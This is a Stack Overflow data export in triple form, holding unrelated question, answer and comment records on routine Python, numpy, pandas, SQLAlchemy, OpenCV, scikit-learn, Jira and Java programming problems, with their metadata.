accepted answer: http://stackoverflow.com/a/48686092
tagged with: python
type: AnsweredQuestion
score: 2
has body: Some website will autoplay a video or enlarge an image. How to stop it using Selenium with Python? Thank you very much.
tagged with: selenium
type: Question
has comment: http://stackoverflow.com/comment/84367432
has title: How to disable autoplay when launching a website using Selenium
tagged with: javascript
has comment: http://stackoverflow.com/comment/84371090
upvote count: 4

http://stackoverflow.com/comment/84379257
type: AnswerComment
comment on: http://stackoverflow.com/a/48689811
type: Comment
has text: The problem persists. I can connect to the server only on local network. Outside it doesn't work. I get connection refused.
score: 0

http://stackoverflow.com/a/48659419
has body: You don't need to pre-initialise. You can just call repeat with a list of repeat values, and create your final DataFrame after. r = [5, 10, 5] v = [value1, value2, value3] pd.DataFrame(np.repeat(v, r, axis=0)) 0 1 2 0 23.50 -42.34 322.4000 1 23.50 -42.34 322.4000 2 23.50 -42.34 322.4000 3 23.50 -42.34 322.4000 4 23.50 -42.34 322.4000 5 43.00 -764.56 6.4556 6 43.00 -764.56 6.4556 7 43.00 -764.56 6.4556 8 43.00 -764.56 6.4556 9 43.00 -764.56 6.4556 10 43.00 -764.56 6.4556 11 43.00 -764.56 6.4556 12 43.00 -764.56 6.4556 13 43.00 -764.56 6.4556 14 43.00 -764.56 6.4556 15 98.54 -26.64 86.4500 16 98.54 -26.64 86.4500 17 98.54 -26.64 86.4500 18 98.54 -26.64 86.4500 19 98.54 -26.64 86.4500
has comment: http://stackoverflow.com/comment/84324248
has comment: http://stackoverflow.com/comment/84323531
answers question: http://stackoverflow.com/q/48659322
type: Answer
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/48659322
has comment: http://stackoverflow.com/comment/87465604
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84323398

http://stackoverflow.com/a/48796280
score: 2
has body: This code appears to do what you want except that the csv fields are in a different order. Normally that wouldn't matter. I've also attempted to make the code explain what it's doing. The json is three copies of what you supplied in the question, slightly modified to compile properly, with the main key changed. json_txt = '''\ { "-K6v8Ht6nXCjaO_ApNGr" : { "key1" : 0, "key2" : false, "key3" : 0, "key4" : 0, "key5" : "01/01/2016 04:04", "key" : "-K6v8Ht6nXCjaO_ApNGr", "key6" : "01/01/2016 04:04", "key7" : 23, "key8" : 0, "key9" : { "date" : 1, "day" : 5, "hours" : 4, "minutes" : 4, "month" : 0, "seconds" : 56, "time" : 1451617496647, "timezoneOffset" : -60, "year" : 116}, "triedConnector" : { "OPENSL" : -1, "SAPA" : -1, "USB" : -1, "USB_7" : -1} }, "-K6v8Ht6nXCjaO_2" : { "key1" : 0, "key2" : false, "key3" : 0, "key4" : 0, "key5" : "01/01/2016 04:04", "key" : "-K6v8Ht6nXCjaO_ApNGr", "key6" : "01/01/2016 04:04", "key7" : 23, "key8" : 0, "key9" : { "date" : 1, "day" : 5, "hours" : 4, "minutes" : 4, "month" : 0, "seconds" : 56, "time" : 1451617496647, "timezoneOffset" : -60, "year" : 116}, "triedConnector" : { "OPENSL" : -1, "SAPA" : -1, "USB" : -1, "USB_7" : -1} }, "-K6v8Ht6nXCjaO_3" : { "key1" : 0, "key2" : false, "key3" : 0, "key4" : 0, "key5" : "01/01/2016 04:04", "key" : "-K6v8Ht6nXCjaO_ApNGr", "key6" : "01/01/2016 04:04", "key7" : 23, "key8" : 0, "key9" : { "date" : 1, "day" : 5, "hours" : 4, "minutes" : 4, "month" : 0, "seconds" : 56, "time" : 1451617496647, "timezoneOffset" : -60, "year" : 116}, "triedConnector" : { "OPENSL" : -1, "SAPA" : -1, "USB" : -1, "USB_7" : -1} } }''' import json import csv data = json.loads(json_txt) print ('data keys --&gt;', data.keys()) print ('one of these keys (arbitrary) --&gt;', list(data.keys())[0]) print ('keys for one object in data --&gt;', list(data[list(data.keys())[0]].keys())) key9_fields = data[list(data.keys())[0]]['key9'].keys() print ('keys in key9 --&gt;', key9_fields) print ('Now writing csv ...') the_fieldnames = lis…
has comment: http://stackoverflow.com/comment/84606380
accepted answer of: http://stackoverflow.com/q/48764603
upvote count: 2
answers question: http://stackoverflow.com/q/48764603
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/q/48777567
favorite count: 0
tagged with: python
has title: CompileError with inherited parameter in sql-alchemy table class
has answer: http://stackoverflow.com/a/48784265
type: UnansweredQuestion
downvote count: 0
score: 1
tagged with: sqlalchemy
type: Question
has body: I Have a SQLalchemy class (flask-sqlalchemy) which inherits from another class and looks like this class Cat(db.Model, Category): __tablename__ = 'Cat' id = db.Column(db.String(1000), primary_key=True, nullable=False) parent_id = db.Column(db.String(1000), db.ForeignKey('SocArxivCategory.id')) parent_category = db.relationship('Cat', backref=db.backref('children', order_by=Category.name, lazy='selectin'), remote_side='Cat.id') and the parent class is class Category(): __tablename__ = 'Category' name = db.Column(db.String(2000), nullable=False) You see that the Cat table builds a relationship using the Category.name attribute. But this seems to cause an error .... File "/usr/local/lib/python2.7/site-packages/sqlalchemy/sql/compiler.py", line 692, in _fallback_column_name raise exc.CompileError("Cannot compile Column object until " CompileError: Cannot compile Column object until its 'name' is assigned. so it seems to try to build the relationship before inheriting the name attribute? I am not sure whether this is an SQLalchemy issue or a Python issue? Any idea how to fix this?
upvote count: 1
answer count: 1
tagged with: inheritance
tagged with: flask-sqlalchemy

http://stackoverflow.com/comment/84449410
has text: @juliosalvat: If you think that the answer helped you, please consider upvoting/accepting it (green tick on the left).
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48724993

http://stackoverflow.com/a/48718099
has body: If I understand you correctly you want the integral int{-inf...T} f(tau) g(t-tau) dtau Writing H(t) = 1/2 (sign(t) + 1) this is the same as int{-inf...inf} f(tau) g(t-tau) [1 - H(tau-T)] dtau or int{-inf...inf} f^(tau) g(t-tau) dtau = f^*g(t) with f^(tau) = f(tau) * [1 - H(tau-T)]. So all you need to do is to zero out f right of T to get f^ and then compute the conventional convolution f^*g. Update If t and T are the same number it's even slightly simpler: int{-inf...t} f(tau)g(t-tau) dtau In this case you can shift the integration variable by t, so you get: int{-inf...0} f(tau+t}g(-tau) dtau next you replace tau with -tau int{0...inf} g(tau) f(t-tau) dtau and now you proceed more or less as above only T is now fixed and equal to zero and you don't zero out right of T but left of T.
has comment: http://stackoverflow.com/comment/84451169
has comment: http://stackoverflow.com/comment/84449856
score: 0
has comment: http://stackoverflow.com/comment/84599229
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84449111
has comment: http://stackoverflow.com/comment/84451443
has comment: http://stackoverflow.com/comment/84449387
type: Answer
answers question: http://stackoverflow.com/q/48715879
has comment: http://stackoverflow.com/comment/84479535
accepted answer of: http://stackoverflow.com/q/48715879
has comment: http://stackoverflow.com/comment/84513521

http://stackoverflow.com/q/48741653
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84495533
has title: Opencv detect only facing up square contour
type: Question
score: 0
tagged with: python
tagged with: opencv
has body: I have a video input from a camera. The input is a video in which I have a cube with 6 images, one on each side of the cube. I need to detect which image is facing the camera and I used SIFT descriptors for template matching but before I start using the template matcher I try to find the squares in the image with a size constraint so I can only apply the algorithm on these squares. However my problem is that in some angles the camera see the facing up image and one side image and it detects both templates. I need to detect only the square that's facing up. This is my code for squares detection: def _find_squares(img): squares = [] img = cv.cvtColor(img, cv.COLOR_BGR2GRAY) img = cv.GaussianBlur(img, (5, 5), 0) _retval, bin = cv.threshold(img, 127, 255, cv.THRESH_BINARY) bin, contours, _heirarchy = cv.findContours(bin, cv.RETR_LIST, cv.CHAIN_APPROX_SIMPLE) for cnt in contours: cnt_len = cv.arcLength(cnt, True) cnt = cv.approxPolyDP(cnt, 0.02*cnt_len, True) if len(cnt) == 4 and cv.contourArea(cnt) &gt; 1000 and cv.isContourConvex(cnt): cnt = cnt.reshape(-1, 2) max_cos = np.max([angle_cos(cnt[i], cnt[(i + 1) % 4], cnt[(i + 2) % 4]) for i in xrange(4)]) if max_cos &lt; 0.1: squares.append(cnt) return squares Here's a photo of the cube: https://i.sstatic.net/6pVQ7.jpg I only want to detect the square in which is the clock. Currently my algorithm detects both the clock and the barrel
has comment: http://stackoverflow.com/comment/84490782
tagged with: image-processing
has comment: http://stackoverflow.com/comment/84523523
answer count: 0

http://stackoverflow.com/comment/84452022
has text: This is a guess, but I think user wants the smallest possible such set. Otherwise the problem is trivial. Needs clarification, though.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48726509
score: 1

http://stackoverflow.com/q/48681790
score: 0
has comment: http://stackoverflow.com/comment/84516175
has comment: http://stackoverflow.com/comment/84361211
tagged with: numpy
has body: What can occur when doing numpy array addition? I have made a CUDA application in C++ calculating squared distances, which I interface to Python using cdll. The Python wrapper looks like this: def sqdist(X: np.ndarray) -&gt; np.ndarray: # Organize input and output N, D = X.shape X = X.astype(np.float32) Y = np.zeros((N, N)).astype(np.float32) # Prepare memory pointers dataIn = X.ctypes.data_as(cdll.POINTER(cdll.c_float)) dataOut = Y.ctypes.data_as(cdll.POINTER(cdll.c_float)) # Call the sqdist dll cdll.load(_get_build_default()) cdll.computeSquaredEuclideanDistances(dataIn, N, D, dataOut) cdll.unload() # Return as numpy array return Y Note the conversion to float32 in order to use numpy ctypes data_as (CUDA uses 32-bit float). Now, comparing output of this method to the output of scipy.spatial.distance.cdist(a,a,metric='sqeuclidean'), I find an odd behavior: Assume I have some data Xcl (numpy array): Input 1: a = Xcl b = Xcl + np.zeros(Xcl.shape) print(a.dtype, type(a), a.shape) print(b.dtype, type(b), b.shape) print(np.all(a == b)) Output 1: float32 &lt;class 'numpy.ndarray'&gt; (582, 115) float64 &lt;class 'numpy.ndarray'&gt; (582, 115) True Input [2]: scipydist = scipy.spatial.distance.cdist(a, a, metric='sqeuclidean') cudadist1 = cuda.sqdist(a) cudadist2 = cuda.sqdist(b) plt.figure(figsize=(20, 5)) plt.subplot(131) plt.imshow(scipydist, vmax=3000) plt.colorbar() plt.title("scipydist") plt.subplot(132) plt.imshow(cudadist1, vmax=3000) plt.colorbar() plt.title("cudadist1") plt.subplot(133) plt.imshow(cudadist2, vmax=3000) plt.colorbar() plt.title("cudadist2") plt.show() Output[2]: I.e. I get a different output of my CUDA algorithm depending on whether or not I add zeros to my input. How (the hell) can that happen? What implicitly occurs during a numpy addition? The same goes for multiplying with np.ones.
tagged with: arrays
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84360935
has title: What implicitly occurs during numpy addition?
has comment: http://stackoverflow.com/comment/84361303
type: Question
tagged with: python
answer count: 1
tagged with: c++
has answer: http://stackoverflow.com/a/48682040

http://stackoverflow.com/comment/84384275
comment on: http://stackoverflow.com/q/48692845
has text: Have a quick guide to how Python variables and objects work: https://nedbatchelder.com/text/names.html
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84500896
score: 0
type: QuestionComment
has text: Indeed, I think multiprocessing could be a solution.
type: Comment
comment on: http://stackoverflow.com/q/48744572

http://stackoverflow.com/comment/84332047
type: Comment
type: QuestionComment
has text: https://stackoverflow.com/questions/37366717/pandas-print-column-name-with-missing-values
comment on: http://stackoverflow.com/q/48666721
score: 0

http://stackoverflow.com/a/48803361
upvote count: 3
has comment: http://stackoverflow.com/comment/84628323
downvote count: 0
answers question: http://stackoverflow.com/q/48796282
has body: When plotting model selection performance resulting from using GridSearch, it's typical to plot the mean and standard deviation of test and training sets of the cross_validation folds. Also care should be taken to identify which scoring criteria is to be used in the grid search to select the best model. this is typically R-squared for regression. The grid search returns a dictionary (accessible through .cv_results_) containing the scores for each fold train/test scores as well as the time it took to train/test each fold. Also a summary of that data is included using the mean and the standard deviation. PS. in newer version of scikit-learn you'll need to include return_train_score=True PS.S. when using grid search, splitting the data to train/test is not necessary for model selection, because the grid search splits the data automatically (cv=10 means that the data is split to 10 folds) given the above I modified the code to import numpy as np import matplotlib.pyplot as plt from sklearn.linear_model import Ridge from sklearn.model_selection import GridSearchCV from sklearn.datasets import fetch_california_housing cal = fetch_california_housing() X = cal.data y = cal.target param_grid = {'alpha': np.logspace(-3, 3, 13)} print(param_grid) grid = GridSearchCV(Ridge(normalize=True), param_grid, cv=10, return_train_score=True, scoring='r2') grid.fit(X, y) print("Best cross-validation score: {:.2f}".format(grid.best_score_)) print("Best parameters: ", grid.best_params_) alphas = np.logspace(-3, 3, 13) train_scores_mean = grid.cv_results_["mean_train_score"] train_scores_std = grid.cv_results_["std_train_score"] test_scores_mean = grid.cv_results_["mean_test_score"] test_scores_std = grid.cv_results_["std_test_score"] plt.figure() plt.title('Model') plt.xlabel('$\\alpha$ (alpha)') plt.ylabel('Score') # plot train scores plt.semilogx(alphas, train_scores_mean, label='Mean Train score', color='navy') # create a shaded area between [mean - std, mean + std] plt.gca().fill_betwe…
score: 3
has comment: http://stackoverflow.com/comment/84646424
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84621840
accepted answer of: http://stackoverflow.com/q/48796282
has comment: http://stackoverflow.com/comment/84622198
has comment: http://stackoverflow.com/comment/84622692
has comment: http://stackoverflow.com/comment/84621015
has comment: http://stackoverflow.com/comment/84620421
type: Answer
has comment: http://stackoverflow.com/comment/84620750

http://stackoverflow.com/comment/84413497
score: 0
comment on: http://stackoverflow.com/q/48703423
type: QuestionComment
type: Comment
has text: You're right, I edit the question.

http://stackoverflow.com/q/48694625
type: UnansweredQuestion
has body: The closest I've gotten is via the rest API call. https://{HOST}/rest/api/2/project/{Project Key}/statuses But I need the same call via Python. But I'm unable to find an adequate way. The closest I've gotten in Python is jiraInstance.statuses() but this returns all possible statuses for our Jira site. I need to narrow it down to the workflows for a specific project. Any help would be appreciated. Background This is for a reporting tool where we create a table with all the defects for the specific project in question. In python I can currently retrieve all the statuses/priorities for the Bugs/Bug-task issues but that only returns statuses for the existing bugs. I require a way to retrieve all the statuses from a workflow of the specific project.
downvote count: 0
score: 1
tagged with: project
has answer: http://stackoverflow.com/a/48872152
tagged with: jira
type: Question
has comment: http://stackoverflow.com/comment/84391621
tagged with: api
upvote count: 1
answer count: 1
favorite count: 0
has title: How to get all statuses from a workflow of a project in JIRA via python?
tagged with: rest
tagged with: python

http://stackoverflow.com/q/48705618
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/84409778
has comment: http://stackoverflow.com/comment/84410129
has comment: http://stackoverflow.com/comment/84410375
has comment: http://stackoverflow.com/comment/84409901
has comment: http://stackoverflow.com/comment/84410473
has comment: http://stackoverflow.com/comment/84410410
favorite count: 0
has comment: http://stackoverflow.com/comment/84410311
has comment: http://stackoverflow.com/comment/84410544
has comment: http://stackoverflow.com/comment/84409639
has comment: http://stackoverflow.com/comment/84409706
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
tagged with: regex
has comment: http://stackoverflow.com/comment/84410472
has comment: http://stackoverflow.com/comment/84409812
has body: I'd never USED REGEX before so I've no idea. Can anyone Help me from Scratch? I've a CSV file in this there is a column consisting email address. I've to use Python and Regex to standardise email addresses so they are usable as a HTML link. ID Name Suburb State Postcode Email 1 Hurstville Clinic Hurstville NSW 1493 hurstville@myclinic.com.au 2 Sydney Centre Clinic Sydney NSW 2000 sydney@myclinic.com.au 3 Auburn Clinic Auburn NSW 2144 auburn@myclinic.com.au 4 Riverwood Clinic Riverwood NSW 2210 riverwood@myclinic.com.au 5 Fingal Bay Clinic Fingal Bay NSW 2315 fingal bay@myclinic.com.au
has comment: http://stackoverflow.com/comment/84409908
has comment: http://stackoverflow.com/comment/84409855
linked to: http://stackoverflow.com/q/48700691
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84410197
has comment: http://stackoverflow.com/comment/84409986
has comment: http://stackoverflow.com/comment/84410512
type: Question
has answer: http://stackoverflow.com/a/48705823
accepted answer: http://stackoverflow.com/a/48705823
has comment: http://stackoverflow.com/comment/84410044
score: 0
has comment: http://stackoverflow.com/comment/84410609
has title: python and Regex to standardise email addresses so they are usable as a html link
upvote count: 1

http://stackoverflow.com/a/48769872
type: Answer
score: 0
answers question: http://stackoverflow.com/q/48769620
has body: None in Python translates to NULL on the database side hence the error. Put empty string ('') and it should be fine given the DDL you have.

resize
tags question: http://stackoverflow.com/q/48684678
tags question: http://stackoverflow.com/q/48725158
type: Tag
tag name: resize
tags question: http://stackoverflow.com/q/48755945

http://stackoverflow.com/q/48776665
type: Question
tagged with: numpy
has body: Given a sample numpy array like so: a = np.array([[[[0,0,0], [0,0,0], [0,0,0]], [[0,0,0], [0,0,0], [0,0,0]]], [[[0,1,2], [1,1,1], [1,1,1]], [[1,1,1], [1,2,2], [1,1,1]]], [[[0,1,2], [1,1,1], [1,1,1]], [[1,1,1], [1,2,2], [1,1,1]]], [[[0,1,2], [1,1,1], [1,1,1]], [[1,1,1], [1,2,2], [1,1,1]]]]) #a.shape = (4, 2, 3, 3) How can I get it to return a numpy array with shape (3,2,3,3) considering that the first element is all zeros? My dataset is a bigger one of shape (m, x, y, z) and I'll need to return non-zero (m-n, x,y,z) arrays where n are the (x,y,z) shaped arrays with all zeros. So far I tried this: mask = np.equal(a, np.zeros(shape=(2,3,3))) ''' Returns: [[[[ True True True] [ True True True] [ True True True]] [[ True True True] [ True True True] [ True True True]]] [[[ True False False] [False False False] [False False False]] [[False False False] [False False False] [False False False]]] [[[ True False False] [False False False] [False False False]] [[False False False] [False False False] [False False False]]] [[[ True False False] [False False False] [False False False]] [[False False False] [False False False] [False False False]]]] ''' But applying a[~mask] gives me a flattened array: [1 2 1 1 1 1 1 1 1 1 1 1 2 2 1 1 1 1 2 1 1 1 1 1 1 1 1 1 1 2 2 1 1 1 1 2 1 1 1 1 1 1 1 1 1 1 2 2 1 1 1] (51,) What I need is something like this: np.array([[[[0,1,2], [1,1,1], [1,1,1]], [[1,1,1], [1,2,2], [1,1,1]]], [[[0,1,2], [1,1,1], [1,1,1]], [[1,1,1], [1,2,2], [1,1,1]]], [[[0,1,2], [1,1,1], [1,1,1]], [[1,1,1], [1,2,2], [1,1,1]]]]) Bonus: I need to apply this to a separate/mirror (m, x, y, z) shaped array so maybe I'll need a masked approach?
tagged with: null
accepted answer: http://stackoverflow.com/a/48776733
score: 0
has answer: http://stackoverflow.com/a/48776733
has comment: http://stackoverflow.com/comment/84555077
answer count: 1
has title: Remove empty elements with all zeros along a numpy 4D array using mask
tagged with: python
type: AnsweredQuestion

http://stackoverflow.com/comment/84530280
score: 0
type: Comment
type: QuestionComment
has text: Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/165035/discussion-between-bproxauf-and-juanpa-arrivillaga).
comment on: http://stackoverflow.com/q/48764607

http://stackoverflow.com/comment/84592402
has text: I added url which you can access. As I understand your answer would solve the problem if my case is really a .csv file
type: Comment
score: 0
comment on: http://stackoverflow.com/a/48794332
type: AnswerComment

http://stackoverflow.com/comment/84485739
comment on: http://stackoverflow.com/q/48742867
type: Comment
has text: Can you give excerpts of `dict1`, `a`, `data1` ?
type: QuestionComment
score: 1

http://stackoverflow.com/comment/84417529
type: AnswerComment
has text: Yes, Checked with the "PC" icon, calculator button, not working
comment on: http://stackoverflow.com/a/48709190
type: Comment
score: 0

http://stackoverflow.com/comment/84446025
type: AnswerComment
comment on: http://stackoverflow.com/a/48723421
score: 0
type: Comment
has text: Your answer makes sense and I implemented the change. However, the algorithm still doesn't seem to recognize the best moves. For example in the picture I just attached (at the very bottom), the computer does not choose to block me from winning.

http://stackoverflow.com/comment/84521742
type: QuestionComment
comment on: http://stackoverflow.com/q/48760544
has text: @FlorianM. I version "2.x" it will only return 2 values.
score: 0
type: Comment

http://stackoverflow.com/comment/84566214
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/48781055
has text: You should use 'python' and the pythong that you are using as tags (so `python` + `python-3.x` it you use `python 3`. The python tag will adress all pythonians on SO, the -3.x you need due to differences between 2 and 3. Are you really using wxpython ?

http://stackoverflow.com/a/48778048
has body: The binomial coefficient is a known and fairly trivial calculation; binom(n, k) is just n! / (k! * (n - k)!). Python built-ins can do this in a perfectly straightforward (if theoretically sub-optimal, since it can produce excessively large intermediates that more tuned approaches could avoid, but it hardly matters most of the time) way: from math import factorial def binom(n, k): return factorial(n) // (factorial(k) * factorial(n - k)) If you need it somewhat faster, gmpy2 offers a bincoef function, and gmpy2 is a bit more standalone than scipy/numpy (it needs GMP/MPFR/MPC, but it's on the order of a few MB of binaries all told, not a few hundred MB). It returns a gmpy2.mpz type, which is largely interoperable with int, or you can just force conversion back to int by wrapping: from gmpy2 import bincoef def binom(n, k): return int(bincoef(n, k))
type: Answer
answers question: http://stackoverflow.com/q/48777999
accepted answer of: http://stackoverflow.com/q/48777999
upvote count: 1
score: 1
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/84588171
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48792941
has text: @ZackTarr That link is for this page
score: 0

http://stackoverflow.com/comment/84389809
comment on: http://stackoverflow.com/a/48695449
type: Comment
has text: `X.shape (10, 100, 7)` and `V.shape (100, 100)`
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84371386
has text: Say your first two sets look like `{1, 2, 3}` and `{2}`. You randomly pick `2` from `{1, 2, 3}`. What do you randomly pick from `{2}`?
comment on: http://stackoverflow.com/q/48686767
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/48716354
answers question: http://stackoverflow.com/q/48709350
has comment: http://stackoverflow.com/comment/84432029
has body: What's the purpose of doing this rather than using the official API? Scripted logins to Twitter.com are against the Terms of Service, and Twitter employs multiple techniques to detect and disallow them. Accounts showing signs of automated login of this kind are liable to suspension or requests for security re-verification.
score: 0
type: Answer

http://stackoverflow.com/comment/84430699
type: Comment
type: QuestionComment
has text: @jarmod wasn't especially directed at you in particular, you just happened to comment before I did haha :)
score: 0
comment on: http://stackoverflow.com/q/48715639

http://stackoverflow.com/a/48744329
type: Answer
has body: Not very elegant, but it works. a = "beabeefeab" answer = "" for char in a: if char == "a" or char == "b": answer += char print(answer) Output babab
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/48743971

http://stackoverflow.com/comment/84341309
has text: This might help: http://code.activestate.com/recipes/579135-validate-data-easily-with-json-schema/
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48671629
score: 0

http://stackoverflow.com/q/48652256
has title: Find total sum and sum of numbers in range based on condition
tagged with: range
tagged with: python
accepted answer: http://stackoverflow.com/a/48652375
tagged with: integer
possible better answer: http://stackoverflow.com/a/48652340
score: 1
has answer: http://stackoverflow.com/a/48652340
has answer: http://stackoverflow.com/a/48652450
upvote count: 1
type: Question
type: AnsweredQuestion
tagged with: sum
has answer: http://stackoverflow.com/a/48652375
answer count: 3
has comment: http://stackoverflow.com/comment/84305884
has comment: http://stackoverflow.com/comment/84302714
downvote count: 0
favorite count: 0
has body: I want to create a function my_sum_div(a, b, div=10) which will compute the sum of numbers from a to b, prints out this sum, but also all intermediate sums of type a+(a+1)+(a+2)+(a+3) that are divisible by div. I want the program to work as follows: my_sum_div(1, 10, 2) The output should look like: sums divisible by 2: 6 10 28 36 sum of numbers between 1 and 10 is: 55 Now I have already done this: def my_sum(a, b): print("sum of numbers between", a," and", b," is", sum(i for i in range(a, b+1))) def my_sum_div(a, b, div = 3): print("sums divisible by", div,":") l = [] s = "," x = sum(i for i in range(a, b+1) for i in range(a, b+1): if (i%div==0): l.append(str(i)) print(s.join(l)) print("sum of numbers between", a, " and", b, " is", sum(i for i in range(a, b + 1)) Ive been trying for hours. I know my code only checks what numbers between (a, b+1) are divisible by div, but how do I make it so that the function computes and prints all the intermediate sums that are divisible by div? My first function only computes the sum of all integers in the given interval. I now want the subsequent function to compute all intermediate sums that are divisible by div in a given interval and print all of these. Thank you in advance.

http://stackoverflow.com/a/48772395
has comment: http://stackoverflow.com/comment/84587935
has comment: http://stackoverflow.com/comment/84586090
type: Answer
has comment: http://stackoverflow.com/comment/84555912
accepted answer of: http://stackoverflow.com/q/48772017
upvote count: 9
answers question: http://stackoverflow.com/q/48772017
score: 9
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84588612
downvote count: 0
has comment: http://stackoverflow.com/comment/84559354
has body: The closest Java has to a Python List is the ArrayList&lt;> and can be declared as such //Declaring an ArrayList ArrayList&lt;String&gt; stringArrayList = new ArrayList&lt;String&gt;(); //add to the end of the list stringArrayList.add("foo"); //add to the beggining of the list stringArrayList.add(0, "food"); //remove an element at a spesific index stringArrayList.remove(4); //get the size of the list stringArrayList.size(); //clear the whole list stringArrayList.clear(); //copy to a new ArrayList ArrayList&lt;String&gt; myNewArrayList = new ArrayList&lt;&gt;(oldArrayList); //to reverse Collections.reverse(stringArrayList); //something that could work as "pop" could be stringArrayList.remove(stringArrayList.size() - 1); Java offers a great selection of Collections, you can have a look at a tutorial that Oracle has on their site here https://docs.oracle.com/javase/tutorial/collections/ IMPORTANT: Unlike in Python, in Java you must declare the data type that your list will be using when you instatiate it.

http://stackoverflow.com/comment/84328422
comment on: http://stackoverflow.com/q/48665382
score: 0
type: Comment
type: QuestionComment
has text: Could you explain why your Linux server is unable to access the internet? Will you only ever be able to access it physically (ie. not over a network)?

http://stackoverflow.com/comment/84329654
comment on: http://stackoverflow.com/q/48665131
score: 0
type: Comment
type: QuestionComment
has text: Hi @error, Actually, i want to predict the new image from the trained set of images. So, i used knn to get the closest match of images. Can this be achieved with any of models under classification category from http://scikit-learn.org/stable/modules/scaling_strategies.html#incremental-learning ?Thank you,

http://stackoverflow.com/comment/84440786
comment on: http://stackoverflow.com/q/48716859
score: 0
has text: Please provide [mcve] or confirm that your problem is the actual error.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84575901
has text: Might as well go for `.find_all('div', class_='a', title=True)` to make sure the elements actually have a title attribute present as well as the class...
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48787102
score: 1

http://stackoverflow.com/q/48741588
has comment: http://stackoverflow.com/comment/84483102
upvote count: 1
has comment: http://stackoverflow.com/comment/84482748
favorite count: 0
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84483190
has title: Docker-Pythonscript not working in container
has comment: http://stackoverflow.com/comment/84483521
tagged with: dockerfile
answer count: 0
downvote count: 0
score: 1
tagged with: http://stackoverflow.com/tag/json
type: Question
has comment: http://stackoverflow.com/comment/84483405
has comment: http://stackoverflow.com/comment/84483340
has body: I have a python script which works perfectly when i run it locally at my pc.However,when i built a docker container with the python script,the dockerfile and the requirements.txt file and tried to run it from docker,it doesn't work.More specifically i get an error when i use the json.load() or json.loads() function.Here is a sample of my code: import requests import json import sys import os some code... with open('output.json', 'r') as f: json_data = json.load(f) I get this error: raise JSONDecodeError("Expecting value", s, err.value) from None json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0) How is it possible that the python script works fine when i run it from my terminal and it gives me such an error when i run it from the docker container?
tagged with: docker

http://stackoverflow.com/comment/84496009
has text: @Evert Is there any specific reason for why this is happening? (that normal iteration takes too long)
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48747318
score: 0

http://stackoverflow.com/a/48750492
type: Answer
downvote count: 1
score: -1
answers question: http://stackoverflow.com/q/48750236
upvote count: 0
has body: Added column name in Wen's answer &gt;&gt;&gt; df3 = df2.apply(list).apply(pd.Series) &gt;&gt;&gt; df3.columns = ['itemA', 'itemB', 'itemC'] # df3 = df3.rename(columns={0: 'itemA', 1: 'itemB', 2: 'itemC'}) &gt;&gt;&gt; df3 itemA itemB itemC name name1 item1 item2 NaN name2 item3 NaN NaN name3 item2 item3 item1

http://stackoverflow.com/comment/84541025
comment on: http://stackoverflow.com/q/48769330
score: 0
type: Comment
type: QuestionComment
has text: @brunodesthuilliers Yeah I know this is a stupid thing to do but I love doing stupid things :)

http://stackoverflow.com/a/48708158
has comment: http://stackoverflow.com/comment/84415982
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48708101
answers question: http://stackoverflow.com/q/48708101
type: Answer
has comment: http://stackoverflow.com/comment/84415920
has comment: http://stackoverflow.com/comment/84415996
score: 2
upvote count: 2
has body: You can create the dictionary by using a list comprehension with zip: city=list_city[10::9] name=list_names[9::9][::-1] age=list_age[11::9] final_data = {'persons':[dict(zip(['city', 'name', 'age'], i)) for i in zip(*[city, name, age])]}

http://stackoverflow.com/q/48692562
has comment: http://stackoverflow.com/comment/84383618
downvote count: 0
favorite count: 0
upvote count: 2
type: UnansweredQuestion
tagged with: python
tagged with: request
score: 2
answer count: 0
has body: Problem: I am trying to extract data through an API Service. A single request can take anywhere from 3 to 10 seconds. There are roughly 20,000 rows of data from a Pandas DataFrame to input into the API Call. I have managed to speed it up a bit through multiprocessing, but it's still running very slow. Any suggestions? Code: def scored_card_features2(source, n_batches): """Multiprocessing version of Scored Card Features Function Returns reason for rating """ # read in source data and convert to list of lists for inputs data = pd.read_excel(source) data = data'primary_bank_report_id', 'primary_tu_credit_report_id', 'purpose' inputs = data.values.tolist() def scored_card_map(i): """form request to scored card service and retrieve values""" url = "url/FourthGen?bank_report_id=%s&amp;credit_report_id=%s&amp;" \ "&amp;loan_purpose=%s" % (i[0], i[1], i[2].replace(" ", "%20")) r = requests.get(url) try: d = json.loads(r.text) l = [d['probability_of_default'], d['condition'], d['purpose_of_loan'], d['rating'], d['bank_report_id'], d['reason_for_rating'], d['credit_report_id']] return l except: l = [np.nan] * 7 return l # inititate multithreading with Pool(n_batches) as p: vals = p.map(scored_card_map, inputs) result = pd.DataFrame(vals, columns=['Probability of Default', 'Condition', 'Purpose of Loan', 'Rating', 'Bank Report ID', 'Reason for Rating', 'Credit Report ID']) result = result.dropna(how='all') return result if __name__ == '__main__': # model features start = time.time() df = scored_card_features2('BankCreditPortalIDsPurpose.xlsx', multiprocessing.cpu_count()-1) 